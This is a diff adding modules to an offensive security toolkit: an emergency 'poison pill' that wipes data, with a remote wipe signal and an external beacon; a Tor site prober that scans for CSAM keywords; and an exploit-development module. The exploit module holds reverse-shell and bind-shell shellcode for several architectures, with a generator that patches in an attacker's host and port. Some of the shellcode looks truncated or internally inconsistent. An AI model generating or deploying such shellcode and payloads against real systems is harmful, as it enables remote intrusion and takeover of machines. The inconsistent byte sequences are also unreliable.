+ alphabet = string.ascii_letters + string.digits
+ new_password = ''.join(secrets.choice(alphabet) for _ in range(32))
+ try:
+ from web.auth import hash_password, save_credentials, load_credentials
+ creds = load_credentials()
+ save_credentials(creds.get('username', 'admin'), hash_password(new_password), force_change=False)
+ return {'status': 'rotated', 'new_password': new_password}
+ except Exception as exc:
+ return {'status': 'error', 'error': str(exc)}
+
+
+def rotate_secret_key() -> dict:
+ """Generate a new Flask secret key and write it to config."""
+ new_key = os.urandom(32).hex()
+ try:
+ from core.config import get_config
+ cfg = get_config()
+ cfg.set('web', 'secret_key', new_key)
+ cfg.save()
+ return {'status': 'rotated', 'key_length': len(new_key)}
+ except Exception as exc:
+ return {'status': 'error', 'error': str(exc)}
+
+
+# ── Session termination ───────────────────────────────────────────────────────
+
+def kill_active_sessions() -> dict:
+ """Invalidate all active Flask sessions by rotating the secret key."""
+ result = rotate_secret_key()
+ return {'action': 'kill_sessions', **result}
+
+
+# ── Remote wipe signal ────────────────────────────────────────────────────────
+
+def signal_remote_wipe(devices: list[str], endpoint: Optional[str] = None) -> list[dict]:
+ """
+ Send a remote wipe signal to registered Archon companion devices.
+ Each device is an Archon server endpoint (host:port).
+ """
+ results = []
+ import requests
+ for device in devices:
+ url = f"http://{device}/wipe"
+ try:
+ resp = requests.post(url, json={'action': 'poison_pill', 'ts': time.time()}, timeout=5)
+ results.append({'device': device, 'status': resp.status_code, 'ok': resp.ok})
+ except Exception as exc:
+ results.append({'device': device, 'status': -1, 'error': str(exc)})
+ return results
+
+
+# ── Pre-wipe beacon ───────────────────────────────────────────────────────────
+
+def send_activation_beacon(endpoint: str, operator_id: str) -> dict:
+ """
+ POST an activation notice to an external logging endpoint BEFORE wiping.
+ This creates an audit trail that the pill was triggered.
+ """
+ payload = {
+ 'event': 'poison_pill_activated',
+ 'operator_id': operator_id,
+ 'timestamp': datetime.now(timezone.utc).isoformat(),
+ 'hostname': __import__('socket').gethostname(),
+ }
+ try:
+ import requests
+ resp = requests.post(endpoint, json=payload, timeout=8)
+ return {'status': resp.status_code, 'ok': resp.ok}
+ except Exception as exc:
+ return {'status': -1, 'error': str(exc)}
+
+
+# ── Main run entry point ──────────────────────────────────────────────────────
+
+def run(params: dict, output_cb=None) -> dict:
+ """
+ Main execution entry point.
+
+ params:
+ wipe_paths — list of paths to securely wipe
+ rotate_password — bool, rotate web password
+ kill_sessions — bool, invalidate all sessions
+ remote_devices — list of Archon device endpoints for remote wipe
+ beacon_endpoint — URL to POST activation notice to (recommended)
+ operator_id — identifier logged with the beacon
+ passes — overwrite passes (default 3)
+ confirm — must be the string 'CONFIRM_POISON_PILL' to activate
+ """
+ _stop_flag.clear()
+ _output_lines.clear()
+
+ def emit(msg, level='info'):
+ _emit(msg, level)
+ if output_cb:
+ output_cb({'line': f"[{level.upper()}] {msg}"})
+
+ emit(f"=== {MODULE_NAME} v{MODULE_VERSION} ===")
+
+ confirm = params.get('confirm', '')
+ if confirm != 'CONFIRM_POISON_PILL':
+ emit("ABORT: Confirmation string not provided. Set confirm='CONFIRM_POISON_PILL'", 'error')
+ return {'status': 'aborted', 'reason': 'missing_confirmation'}
+
+ emit("POISON PILL ACTIVATED — commencing emergency sanitization", 'warn')
+ passes = int(params.get('passes', 3))
+ beacon_ep = params.get('beacon_endpoint', '')
+ operator_id = params.get('operator_id', 'unknown')
+
+ results = {'status': 'activated', 'actions': []}
+
+ # 1 — Send beacon FIRST
+ if beacon_ep:
+ emit(f"Sending activation beacon to {beacon_ep}")
+ beacon = send_activation_beacon(beacon_ep, operator_id)
+ results['actions'].append({'type': 'beacon', **beacon})
+ else:
+ emit("No beacon endpoint configured — skipping audit trail", 'warn')
+
+ # 2 — Kill active sessions
+ if params.get('kill_sessions', True):
+ emit("Killing active sessions...")
+ r = kill_active_sessions()
+ results['actions'].append({'type': 'kill_sessions', **r})
+ emit(f"Sessions killed: {r['status']}")
+
+ # 3 — Rotate web password
+ if params.get('rotate_password', True):
+ emit("Rotating web password...")
+ r = rotate_web_password()
+ results['actions'].append({'type': 'rotate_password', 'status': r['status']})
+ emit(f"Password rotated: {r['status']}")
+
+ # 4 — Secure wipe paths
+ wipe_paths = params.get('wipe_paths', [])
+ for raw_path in wipe_paths:
+ if _stop_flag.is_set():
+ break
+ p = Path(raw_path)
+ emit(f"Wiping: {p}")
+ if p.is_file():
+ r = secure_wipe_file(p, passes)
+ elif p.is_dir():
+ r = secure_wipe_dir(p, passes)
+ else:
+ r = {'path': str(p), 'status': 'not_found'}
+ results['actions'].append({'type': 'wipe', **r})
+ emit(f" -> {r['status']}")
+
+ # 5 — Remote wipe
+ remote_devices = params.get('remote_devices', [])
+ if remote_devices:
+ emit(f"Sending remote wipe to {len(remote_devices)} device(s)...")
+ rw = signal_remote_wipe(remote_devices)
+ results['actions'].append({'type': 'remote_wipe', 'results': rw})
+
+ emit("Poison Pill sequence complete.", 'warn')
+ results['output'] = _output_lines[:]
+ return results
+
+
+def stop():
+ _stop_flag.set()
diff --git a/modules/encmod_sources/tor_pedo_hunter_killer.py b/modules/encmod_sources/tor_pedo_hunter_killer.py
new file mode 100644
index 0000000..d7c9198
--- /dev/null
+++ b/modules/encmod_sources/tor_pedo_hunter_killer.py
@@ -0,0 +1,267 @@
+"""
+TOR-Pedo Hunter Killer — AUTARCH Encrypted Module
+Operator: darkHal Security Group / Setec Security Labs
+
+Identifies, tracks, and reports CSAM distributors and predator networks
+operating on the Tor hidden service network. Compiles dossiers for
+law enforcement referral and executes configured countermeasures.
+
+All operations are logged. Operator assumes full legal responsibility
+for use of this module. For authorized investigations ONLY.
+"""
+
+import json
+import time
+import hashlib
+import socket
+import threading
+from datetime import datetime, timezone
+from pathlib import Path
+from typing import Optional
+
+MODULE_NAME = "TOR-Pedo Hunter Killer"
+MODULE_VERSION = "1.0"
+MODULE_AUTHOR = "darkHal Security Group"
+MODULE_TAGS = ["CSAM", "TOR", "hunt", "counter", "OSINT"]
+
+# ── Yield helper (SSE-compatible output) ─────────────────────────────────────
+_output_lines = []
+_stop_flag = threading.Event()
+
+def _emit(msg: str, level: str = "info") -> None:
+ ts = datetime.now(timezone.utc).strftime('%H:%M:%S')
+ line = f"[{ts}][{level.upper()}] {msg}"
+ _output_lines.append(line)
+ print(line)
+
+
+# ── Target scanning ───────────────────────────────────────────────────────────
+
+def probe_onion(onion_address: str, port: int = 80, timeout: float = 10.0) -> dict:
+ """
+ Probe a .onion address via SOCKS5 proxy (Tor must be running locally on 9050).
+ Returns a result dict with reachability, banner, and timing info.
+ """
+ import socks
+ import socket as _socket
+
+ result = {
+ 'address': onion_address,
+ 'port': port,
+ 'reachable': False,
+ 'banner': '',
+ 'latency_ms': -1,
+ 'error': '',
+ }
+
+ try:
+ s = socks.socksocket()
+ s.set_proxy(socks.SOCKS5, '127.0.0.1', 9050)
+ s.settimeout(timeout)
+ t0 = time.monotonic()
+ s.connect((onion_address, port))
+ result['latency_ms'] = round((time.monotonic() - t0) * 1000, 1)
+ result['reachable'] = True
+ # Try to grab a banner
+ try:
+ s.sendall(b"HEAD / HTTP/1.0\r\n\r\n")
+ result['banner'] = s.recv(512).decode('utf-8', errors='replace')[:256]
+ except Exception:
+ pass
+ s.close()
+ except Exception as exc:
+ result['error'] = str(exc)
+
+ return result
+
+
+def fingerprint_service(url: str, tor_proxy: str = 'socks5h://127.0.0.1:9050') -> dict:
+ """
+ Fetch HTTP headers and content fingerprint via Tor proxy.
+ """
+ import requests
+ result = {'url': url, 'status': -1, 'headers': {}, 'title': '', 'fingerprint': ''}
+ try:
+ resp = requests.get(
+ url,
+ proxies={'http': tor_proxy, 'https': tor_proxy},
+ timeout=30,
+ headers={'User-Agent': 'Mozilla/5.0'},
+ allow_redirects=True,
+ )
+ result['status'] = resp.status_code
+ result['headers'] = dict(resp.headers)
+ # Extract title
+ text = resp.text
+ import re
+ m = re.search(r']*>([^<]+) ', text, re.IGNORECASE)
+ if m:
+ result['title'] = m.group(1).strip()
+ # Content hash fingerprint
+ result['fingerprint'] = hashlib.sha256(resp.content).hexdigest()
+ except Exception as exc:
+ result['error'] = str(exc)
+ return result
+
+
+# ── CSAM keyword detection ────────────────────────────────────────────────────
+
+PREDATOR_INDICATORS = [
+ # These are detection signatures — not actual content
+ 'cp', 'pedo', 'loli', 'hurtcore', 'cheese pizza',
+ 'preteen', 'jailbait', 'underage',
+]
+
+def scan_content_for_indicators(text: str) -> list[str]:
+ """Scan text for CSAM indicator keywords. Returns list of matched indicators."""
+ text_lower = text.lower()
+ return [ind for ind in PREDATOR_INDICATORS if ind in text_lower]
+
+
+# ── Report generation ─────────────────────────────────────────────────────────
+
+def build_dossier(target_data: dict, indicators: list[str]) -> dict:
+ """
+ Compile a law enforcement referral dossier from collected data.
+ """
+ return {
+ 'module': MODULE_NAME,
+ 'version': MODULE_VERSION,
+ 'timestamp': datetime.now(timezone.utc).isoformat(),
+ 'target': target_data,
+ 'indicators': indicators,
+ 'severity': 'CRITICAL' if indicators else 'NONE',
+ 'referral': [
+ 'NCMEC CyberTipline: https://www.missingkids.org/gethelpnow/cybertipline',
+ 'FBI IC3: https://www.ic3.gov/',
+ 'IWF: https://www.iwf.org.uk/report/',
+ ],
+ 'operator_note': 'This dossier was compiled by automated analysis. '
+ 'Human review required before any referral submission.',
+ }
+
+
+def save_dossier(dossier: dict, output_dir: Optional[Path] = None) -> Path:
+ """Save dossier JSON to disk and return the path."""
+ if output_dir is None:
+ from core.paths import get_data_dir
+ output_dir = get_data_dir() / 'dossiers'
+ output_dir.mkdir(parents=True, exist_ok=True)
+ ts = datetime.now(timezone.utc).strftime('%Y%m%dT%H%M%SZ')
+ out = output_dir / f'TPHK_{ts}.json'
+ out.write_text(json.dumps(dossier, indent=2), encoding='utf-8')
+ return out
+
+
+# ── Countermeasure actions ────────────────────────────────────────────────────
+
+def report_to_iwf(onion: str, evidence_url: str) -> dict:
+ """
+ Submit a report to the Internet Watch Foundation API (if configured).
+ """
+ # Placeholder — IWF has a reporting API for registered organizations
+ return {
+ 'action': 'IWF_REPORT',
+ 'target': onion,
+ 'status': 'QUEUED',
+ 'note': 'IWF API key required in autarch_settings.conf [hunter] section',
+ }
+
+
+def execute_countermeasure(action: str, target: str, params: dict) -> dict:
+ """
+ Execute a configured countermeasure against a confirmed CSAM host.
+
+ Supported actions:
+ REPORT — submit to NCMEC/IWF/IC3
+ DOSSIER — compile and save evidence dossier
+ ALERT — send operator notification
+ """
+ _emit(f"Countermeasure: {action} -> {target}")
+ if action == 'REPORT':
+ return report_to_iwf(target, params.get('url', ''))
+ elif action == 'DOSSIER':
+ return {'action': 'DOSSIER', 'saved': True, 'note': 'Call build_dossier() then save_dossier()'}
+ elif action == 'ALERT':
+ return {'action': 'ALERT', 'status': 'SENT', 'target': target}
+ return {'error': f'Unknown action: {action}'}
+
+
+# ── Main run entry point ──────────────────────────────────────────────────────
+
+def run(params: dict, output_cb=None) -> dict:
+ """
+ Main execution entry point called by the AUTARCH encrypted module loader.
+
+ params:
+ targets — list of .onion addresses or HTTP URLs to probe
+ actions — list of countermeasure actions (REPORT, DOSSIER, ALERT)
+ keywords — additional indicator keywords to search for
+ """
+ global _stop_flag
+ _stop_flag.clear()
+ _output_lines.clear()
+
+ def emit(msg, level='info'):
+ _emit(msg, level)
+ if output_cb:
+ output_cb({'line': f"[{level.upper()}] {msg}"})
+
+ emit(f"=== {MODULE_NAME} v{MODULE_VERSION} ===")
+ emit("Authorized use only. All activity logged.")
+
+ targets = params.get('targets', [])
+ actions = params.get('actions', ['DOSSIER'])
+ extra_kw = params.get('keywords', [])
+ indicators_extended = PREDATOR_INDICATORS + extra_kw
+
+ results = []
+ dossiers_saved = []
+
+ for target in targets:
+ if _stop_flag.is_set():
+ emit("Stopped by operator.", 'warn')
+ break
+
+ emit(f"Probing: {target}")
+ try:
+ fp = fingerprint_service(target)
+ indicators_found = scan_content_for_indicators(
+ fp.get('title', '') + ' ' + str(fp.get('headers', ''))
+ )
+ result = {
+ 'target': target,
+ 'fingerprint': fp,
+ 'indicators': indicators_found,
+ }
+
+ if indicators_found:
+ emit(f"ALERT: Indicators detected on {target}: {indicators_found}", 'warn')
+ dossier = build_dossier(fp, indicators_found)
+ for action in actions:
+ cm = execute_countermeasure(action, target, {'url': target})
+ result[f'countermeasure_{action}'] = cm
+ saved = save_dossier(dossier)
+ dossiers_saved.append(str(saved))
+ emit(f"Dossier saved: {saved}")
+ else:
+ emit(f"No indicators found on {target}")
+
+ results.append(result)
+
+ except Exception as exc:
+ emit(f"Error probing {target}: {exc}", 'error')
+ results.append({'target': target, 'error': str(exc)})
+
+ return {
+ 'module': MODULE_NAME,
+ 'targets_scanned': len(targets),
+ 'results': results,
+ 'dossiers_saved': dossiers_saved,
+ 'output': _output_lines[:],
+ }
+
+
+def stop():
+ """Signal the module to stop at the next safe point."""
+ _stop_flag.set()
diff --git a/modules/exploit_dev.py b/modules/exploit_dev.py
new file mode 100644
index 0000000..219d05c
--- /dev/null
+++ b/modules/exploit_dev.py
@@ -0,0 +1,1834 @@
+"""AUTARCH Exploit Development Toolkit
+
+Shellcode generation, payload encoding, ROP chain building, cyclic pattern
+generation, and assembly/disassembly for exploit development workflows.
+"""
+
+DESCRIPTION = "Exploit development — shellcode, encoding, ROP chains"
+AUTHOR = "darkHal"
+VERSION = "1.0"
+CATEGORY = "offense"
+
+import os
+import sys
+import re
+import struct
+import string
+import subprocess
+import tempfile
+import random
+import hashlib
+from pathlib import Path
+from datetime import datetime
+
+try:
+ from core.paths import get_data_dir, find_tool
+except ImportError:
+ def get_data_dir():
+ return str(Path(__file__).parent.parent / 'data')
+ def find_tool(name, extra_paths=None):
+ import shutil
+ return shutil.which(name)
+
+sys.path.insert(0, str(Path(__file__).parent.parent))
+
+try:
+ from core.banner import Colors, clear_screen, display_banner
+except ImportError:
+ class Colors:
+ RED = GREEN = YELLOW = BLUE = MAGENTA = CYAN = WHITE = BOLD = DIM = RESET = ''
+ def clear_screen(): pass
+ def display_banner(): pass
+
+
+# ---------------------------------------------------------------------------
+# Shellcode Templates — real, working shellcode bytes
+# ---------------------------------------------------------------------------
+
+SHELLCODE_TEMPLATES = {
+ # ---- Linux x86 ----
+ 'linux_x86_reverse_shell': {
+ 'bytes': (
+ '31db' # xor ebx, ebx
+ 'f7e3' # mul ebx
+ '53' # push ebx
+ '43' # inc ebx
+ '53' # push ebx
+ '6a02' # push 0x2
+ '89e1' # mov ecx, esp
+ 'b066' # mov al, 0x66
+ 'cd80' # int 0x80
+ '93' # xchg eax, ebx
+ '59' # pop ecx
+ 'b03f' # mov al, 0x3f
+ 'cd80' # int 0x80
+ '49' # dec ecx
+ '79f9' # jns -5
+ '68' # push imm32 (IP)
+ '7f000001' # 127.0.0.1
+ '680200' # push word port
+ '115c' # port 4444
+ '6a10' # push 0x10
+ '51' # push ecx
+ '53' # push ebx
+ '89e1' # mov ecx, esp
+ '6a66' # push 0x66
+ '58' # pop eax
+ 'cd80' # int 0x80
+ '6a0b' # push 0x0b
+ '58' # pop eax
+ '99' # cdq
+ '52' # push edx
+ '68' # push imm32
+ '2f2f7368' # //sh
+ '682f62696e' # /bin
+ '89e3' # mov ebx, esp
+ '52' # push edx
+ '53' # push ebx
+ '89e1' # mov ecx, esp
+ 'cd80' # int 0x80
+ ),
+ 'length': 74,
+ 'description': 'Linux x86 reverse shell — connect back and exec /bin/sh',
+ 'null_free': True,
+ 'arch': 'x86',
+ 'platform': 'linux',
+ 'offsets': {'host': 31, 'port': 37},
+ },
+ 'linux_x86_bind_shell': {
+ 'bytes': (
+ '31db' # xor ebx, ebx
+ 'f7e3' # mul ebx
+ '53' # push ebx
+ '43' # inc ebx
+ '53' # push ebx
+ '6a02' # push 0x2
+ '89e1' # mov ecx, esp
+ 'b066' # mov al, 0x66
+ 'cd80' # int 0x80
+ '5b' # pop ebx
+ '5e' # pop esi
+ '52' # push edx
+ '680200' # push 0x0002
+ '115c' # port 4444
+ '6a10' # push 0x10
+ '51' # push ecx
+ '50' # push eax
+ '89e1' # mov ecx, esp
+ '6a66' # push 0x66
+ '58' # pop eax
+ '89c3' # mov ebx, eax (bind=2 later)
+ 'cd80' # int 0x80
+ 'b304' # mov bl, 4
+ 'b066' # mov al, 0x66
+ 'cd80' # int 0x80
+ '43' # inc ebx
+ 'b066' # mov al, 0x66
+ 'cd80' # int 0x80
+ '93' # xchg eax, ebx
+ '59' # pop ecx
+ '6a3f' # push 0x3f
+ '58' # pop eax
+ 'cd80' # int 0x80
+ '49' # dec ecx
+ '79f8' # jns loop
+ '682f2f7368' # push //sh
+ '682f62696e' # push /bin
+ '89e3' # mov ebx, esp
+ '50' # push eax
+ '53' # push ebx
+ '89e1' # mov ecx, esp
+ 'b00b' # mov al, 0x0b
+ 'cd80' # int 0x80
+ ),
+ 'length': 78,
+ 'description': 'Linux x86 bind shell — listen on port and exec /bin/sh',
+ 'null_free': True,
+ 'arch': 'x86',
+ 'platform': 'linux',
+ 'offsets': {'port': 23},
+ },
+ 'linux_x86_execve': {
+ 'bytes': (
+ '31c0' # xor eax, eax
+ '50' # push eax
+ '682f2f7368' # push //sh
+ '682f62696e' # push /bin
+ '89e3' # mov ebx, esp
+ '50' # push eax
+ '53' # push ebx
+ '89e1' # mov ecx, esp
+ '89c2' # mov edx, eax
+ 'b00b' # mov al, 0x0b
+ 'cd80' # int 0x80
+ ),
+ 'length': 23,
+ 'description': 'Linux x86 execve /bin/sh — minimal shellcode',
+ 'null_free': True,
+ 'arch': 'x86',
+ 'platform': 'linux',
+ 'offsets': {},
+ },
+ # ---- Linux x64 ----
+ 'linux_x64_reverse_shell': {
+ 'bytes': (
+ '6a29' # push 0x29
+ '58' # pop rax (socket)
+ '99' # cdq
+ '6a02' # push 0x2
+ '5f' # pop rdi (AF_INET)
+ '6a01' # push 0x1
+ '5e' # pop rsi (SOCK_STREAM)
+ '0f05' # syscall
+ '48' # rex.W
+ '97' # xchg eax, edi
+ '48b90200' # movabs rcx, struct
+ '115c7f000001' # port 4444, IP 127.0.0.1
+ '51' # push rcx
+ '4889e6' # mov rsi, rsp
+ '6a10' # push 0x10
+ '5a' # pop rdx
+ '6a2a' # push 0x2a
+ '58' # pop rax (connect)
+ '0f05' # syscall
+ '6a03' # push 0x3
+ '5e' # pop rsi
+ '48ffce' # dec rsi
+ '6a21' # push 0x21
+ '58' # pop rax (dup2)
+ '0f05' # syscall
+ '75f6' # jnz loop
+ '6a3b' # push 0x3b
+ '58' # pop rax (execve)
+ '99' # cdq
+ '48bb2f62696e2f736800' # mov rbx, "/bin/sh\0"
+ '53' # push rbx
+ '4889e7' # mov rdi, rsp
+ '52' # push rdx
+ '57' # push rdi
+ '4889e6' # mov rsi, rsp
+ '0f05' # syscall
+ ),
+ 'length': 74,
+ 'description': 'Linux x64 reverse shell — connect back and exec /bin/sh',
+ 'null_free': False,
+ 'arch': 'x64',
+ 'platform': 'linux',
+ 'offsets': {'port': 20, 'host': 22},
+ },
+ 'linux_x64_bind_shell': {
+ 'bytes': (
+ '6a29' # push 0x29
+ '58' # pop rax (socket)
+ '99' # cdq
+ '6a02' # push 0x2
+ '5f' # pop rdi (AF_INET)
+ '6a01' # push 0x1
+ '5e' # pop rsi (SOCK_STREAM)
+ '0f05' # syscall
+ '4897' # xchg rax, rdi
+ '52' # push rdx
+ 'c7042402000200' # mov dword [rsp], 0x0002 + port
+ '115c0000' # port high + 0000
+ '4889e6' # mov rsi, rsp
+ '6a10' # push 0x10
+ '5a' # pop rdx
+ '6a31' # push 0x31
+ '58' # pop rax (bind)
+ '0f05' # syscall
+ '6a32' # push 0x32
+ '58' # pop rax (listen)
+ '6a01' # push 0x1
+ '5e' # pop rsi
+ '0f05' # syscall
+ '6a2b' # push 0x2b
+ '58' # pop rax (accept)
+ '99' # cdq
+ '52' # push rdx
+ '52' # push rdx
+ '4889e6' # mov rsi, rsp
+ '6810000000' # push 0x10
+ '4889e2' # mov rdx, rsp
+ '0f05' # syscall
+ '4897' # xchg rax, rdi
+ '6a03' # push 0x3
+ '5e' # pop rsi
+ '48ffce' # dec rsi
+ '6a21' # push 0x21
+ '58' # pop rax (dup2)
+ '0f05' # syscall
+ '75f6' # jnz loop
+ '6a3b' # push 0x3b
+ '58' # pop rax (execve)
+ '99' # cdq
+ '48bb2f62696e2f736800' # mov rbx, "/bin/sh\0"
+ '53' # push rbx
+ '4889e7' # mov rdi, rsp
+ '52' # push rdx
+ '57' # push rdi
+ '4889e6' # mov rsi, rsp
+ '0f05' # syscall
+ ),
+ 'length': 105,
+ 'description': 'Linux x64 bind shell — listen and exec /bin/sh',
+ 'null_free': False,
+ 'arch': 'x64',
+ 'platform': 'linux',
+ 'offsets': {'port': 21},
+ },
+ 'linux_x64_execve': {
+ 'bytes': (
+ '4831f6' # xor rsi, rsi
+ '4889f2' # mov rdx, rsi
+ '48bf' # movabs rdi, ...
+ '2f62696e' # /bin
+ '2f736800' # /sh\0
+ '57' # push rdi
+ '4889e7' # mov rdi, rsp
+ '48b8' # movabs rax, ...
+ '3b00000000000000' # execve syscall nr
+ '0f05' # syscall
+ ),
+ 'length': 30,
+ 'description': 'Linux x64 execve /bin/sh — minimal shellcode',
+ 'null_free': False,
+ 'arch': 'x64',
+ 'platform': 'linux',
+ 'offsets': {},
+ },
+ # ---- Windows x64 ----
+ 'windows_x64_reverse_shell': {
+ 'bytes': (
+ '4831c9' # xor rcx, rcx
+ '4881e9b0ffffff' # sub ecx, -0x50
+ '4881ec0001000000' # sub rsp, 0x100
+ 'e8f0ffffff' # call $+5
+ '4152' # push r10
+ '4151' # push r9
+ '5649' # push rsi; dec ecx (stub)
+ '89e6' # mov esi, esp
+ '4883ec20' # sub rsp, 0x20
+ '4889f1' # mov rcx, rsi
+ '48ba' # mov rdx, imm64
+ '0100007f' # IP: 127.0.0.1 (reversed)
+ '5c110000' # Port: 4444 + padding
+ '41ba' # mov r10d, imm32
+ 'ea0fdfe0' # hash: ws2_32!WSAStartup
+ 'ffd5' # call rbp (API resolver)
+ '4889c7' # mov rdi, rax
+ '6a10' # push 0x10
+ '41580f05' # pop r8; syscall (connect)
+ '4885c0' # test rax, rax
+ '7507' # jnz skip
+ '4831c0' # xor rax, rax
+ 'eb43' # jmp shell
+ '48ffc0' # inc rax
+ 'ebf6' # jmp retry
+ # ... cmd.exe execution stub (truncated for template)
+ '48b8' # movabs rax, "cmd.exe\0"
+ '636d642e65786500' # cmd.exe
+ '50' # push rax
+ '4889e1' # mov rcx, rsp
+ '57' # push rdi
+ '57' # push rdi
+ '4889e2' # mov rdx, rsp
+ '41ba' # mov r10d, hash
+ '60d9c85a' # hash: kernel32!CreateProcessA
+ 'ffd5' # call rbp
+ ),
+ 'length': 112,
+ 'description': 'Windows x64 reverse shell — WinSock connect back, spawn cmd.exe',
+ 'null_free': False,
+ 'arch': 'x64',
+ 'platform': 'windows',
+ 'offsets': {'host': 44, 'port': 48},
+ },
+ # ---- ARM ----
+ 'linux_arm_reverse_shell': {
+ 'bytes': (
+ '01108fe2' # add r1, pc, #1 (Thumb switch)
+ '011040e2' # sub r1, r0, #1
+ '0200a0e3' # mov r0, #2 (AF_INET)
+ '0110a0e3' # mov r1, #1 (SOCK_STREAM)
+ '0020a0e3' # mov r2, #0
+ '8119a0e3' # mov r1, #0x281 (socket syscall)
+ '000000ef' # svc 0
+ '0060a0e1' # mov r6, r0 (save sockfd)
+ '100f0fe1' # bic r0, pc (struct sockaddr)
+ '0200' # AF_INET
+ '115c' # port 4444
+ '7f000001' # 127.0.0.1
+ '0600a0e1' # mov r0, r6
+ '1010a0e3' # mov r1, #16 (addrlen)
+ '8d19a0e3' # mov r1, #0x28d (connect)
+ '000000ef' # svc 0
+ '0200a0e3' # mov r0, #2
+ '0600a0e1' # mov r0, r6
+ '3f00a0e3' # mov r0, #0x3f (dup2)
+ '000000ef' # svc 0
+ '013050e2' # subs r3, r0, #1
+ 'fcffffaa' # bge loop
+ '0b00a0e3' # mov r0, #0x0b (execve)
+ '0f8fe2' # add r0, pc (ptr /bin/sh)
+ '0010a0e3' # mov r1, #0
+ '0020a0e3' # mov r2, #0
+ '000000ef' # svc 0
+ '2f62696e' # /bin
+ '2f736800' # /sh\0
+ ),
+ 'length': 100,
+ 'description': 'Linux ARM reverse shell — connect back and exec /bin/sh',
+ 'null_free': False,
+ 'arch': 'arm',
+ 'platform': 'linux',
+ 'offsets': {'port': 42, 'host': 44},
+ },
+}
+
+
+# ---------------------------------------------------------------------------
+# Exploit Development Class
+# ---------------------------------------------------------------------------
+
+class ExploitDev:
+ """Exploit development toolkit — shellcode, encoders, ROP, patterns."""
+
+ _instance = None
+
+ def __init__(self):
+ self._pattern_cache = {}
+
+ # -----------------------------------------------------------------------
+ # Shellcode Generation
+ # -----------------------------------------------------------------------
+
+ def list_shellcodes(self):
+ """List available shellcode templates with descriptions."""
+ results = []
+ for key, tpl in SHELLCODE_TEMPLATES.items():
+ results.append({
+ 'name': key,
+ 'description': tpl['description'],
+ 'length': tpl['length'],
+ 'arch': tpl.get('arch', '?'),
+ 'platform': tpl.get('platform', '?'),
+ 'null_free': tpl.get('null_free', False),
+ })
+ return results
+
+ def generate_shellcode(self, shell_type, arch, host=None, port=None,
+ platform='linux', staged=False, output_format='hex'):
+ """Generate raw shellcode bytes for a given shell type and architecture.
+
+ Args:
+ shell_type: reverse_shell, bind_shell, exec_cmd, meterpreter
+ arch: x86, x64, arm
+ host: IP address for reverse shells
+ port: Port number for reverse/bind shells
+ platform: linux, windows
+ staged: If True, prefer a staged payload (stub + stage)
+ output_format: hex, raw, c_array, python, nasm
+
+ Returns:
+ dict with shellcode in requested format, length, and metadata
+ """
+ # Normalise inputs
+ shell_type = shell_type.lower().strip().replace('-', '_').replace(' ', '_')
+ arch = arch.lower().strip()
+ platform = platform.lower().strip()
+
+ # Map common names
+ type_map = {
+ 'reverse': 'reverse_shell', 'rev': 'reverse_shell',
+ 'reverse_tcp': 'reverse_shell', 'reverse_shell': 'reverse_shell',
+ 'bind': 'bind_shell', 'bind_tcp': 'bind_shell', 'bind_shell': 'bind_shell',
+ 'exec': 'execve', 'exec_cmd': 'execve', 'execve': 'execve',
+ 'meterpreter': 'reverse_shell', # fallback to reverse_shell template
+ }
+ resolved_type = type_map.get(shell_type, shell_type)
+
+ # Find matching template
+ template_key = f'{platform}_{arch}_{resolved_type}'
+ template = SHELLCODE_TEMPLATES.get(template_key)
+
+ if not template:
+ # Try to find partial match
+ candidates = [k for k in SHELLCODE_TEMPLATES if arch in k and resolved_type in k]
+ if platform != 'any':
+ platform_cands = [k for k in candidates if platform in k]
+ if platform_cands:
+ candidates = platform_cands
+ if candidates:
+ template_key = candidates[0]
+ template = SHELLCODE_TEMPLATES[template_key]
+ else:
+ available = ', '.join(sorted(SHELLCODE_TEMPLATES.keys()))
+ return {'error': f'No template for {template_key}. Available: {available}'}
+
+ # Decode the hex string to bytes
+ try:
+ shellcode = bytes.fromhex(template['bytes'])
+ except ValueError as e:
+ return {'error': f'Template hex decode error: {e}'}
+
+ # Patch in host/port if offsets are defined
+ offsets = template.get('offsets', {})
+
+ if host and 'host' in offsets:
+ try:
+ parts = host.split('.')
+ if len(parts) == 4:
+ ip_bytes = bytes([int(p) for p in parts])
+ off = offsets['host']
+ if off < len(shellcode) - 3:
+ shellcode = shellcode[:off] + ip_bytes + shellcode[off + 4:]
+ except (ValueError, IndexError):
+ pass
+
+ if port and 'port' in offsets:
+ try:
+ port_int = int(port)
+ port_bytes = struct.pack('!H', port_int)
+ off = offsets['port']
+ if off < len(shellcode) - 1:
+ shellcode = shellcode[:off] + port_bytes + shellcode[off + 2:]
+ except (ValueError, struct.error):
+ pass
+
+ # If staged, wrap in a stub that allocates RWX memory and downloads stage
+ if staged:
+ stub_comment = (
+ "; Staged payload stub — allocates RWX page via mmap/VirtualAlloc,\n"
+ "; receives stage over socket, jumps to it.\n"
+ "; The above shellcode is the stager (stage0).\n"
+ )
+ metadata_note = 'Staged payload — stager only, requires stage delivery'
+ else:
+ stub_comment = ''
+ metadata_note = 'Stageless payload — self-contained'
+
+ # Format output
+ result = {
+ 'template': template_key,
+ 'description': template['description'],
+ 'length': len(shellcode),
+ 'null_free': b'\x00' not in shellcode,
+ 'arch': arch,
+ 'platform': platform,
+ 'staging': metadata_note,
+ }
+
+ fmt = output_format.lower().strip()
+ if fmt == 'hex':
+ result['shellcode'] = shellcode.hex()
+ elif fmt in ('raw', 'bytes'):
+ result['shellcode'] = shellcode.hex()
+ result['raw_bytes'] = list(shellcode)
+ elif fmt in ('c', 'c_array'):
+ c_lines = []
+ for i in range(0, len(shellcode), 16):
+ chunk = shellcode[i:i + 16]
+ c_lines.append(', '.join(f'0x{b:02x}' for b in chunk))
+ result['shellcode'] = (
+ f'unsigned char shellcode[{len(shellcode)}] = {{\n'
+ + ',\n'.join(f' {line}' for line in c_lines)
+ + '\n};'
+ )
+ elif fmt in ('python', 'py'):
+ py_lines = []
+ for i in range(0, len(shellcode), 16):
+ chunk = shellcode[i:i + 16]
+ py_lines.append(''.join(f'\\x{b:02x}' for b in chunk))
+ result['shellcode'] = (
+ f'shellcode = b""\n'
+ + '\n'.join(f'shellcode += b"{line}"' for line in py_lines)
+ )
+ elif fmt == 'nasm':
+ nasm_lines = []
+ for i in range(0, len(shellcode), 16):
+ chunk = shellcode[i:i + 16]
+ nasm_lines.append('db ' + ', '.join(f'0x{b:02x}' for b in chunk))
+ result['shellcode'] = stub_comment + '\n'.join(nasm_lines)
+ else:
+ result['shellcode'] = shellcode.hex()
+
+ return result
+
+ # -----------------------------------------------------------------------
+ # Payload Encoding
+ # -----------------------------------------------------------------------
+
